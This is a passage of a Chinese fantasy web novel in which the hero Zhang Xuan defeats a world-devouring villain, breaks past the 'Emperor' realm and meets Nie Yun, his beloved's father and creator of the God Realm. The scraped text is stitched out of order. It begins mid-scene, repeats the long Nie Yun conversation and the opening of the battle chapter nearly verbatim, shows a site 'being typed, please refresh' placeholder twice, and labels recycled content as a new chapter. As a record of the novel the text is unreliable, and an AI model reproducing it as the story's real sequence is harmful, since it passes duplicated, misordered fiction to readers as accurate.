容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十一章 相好 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百七十二章 劝说 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 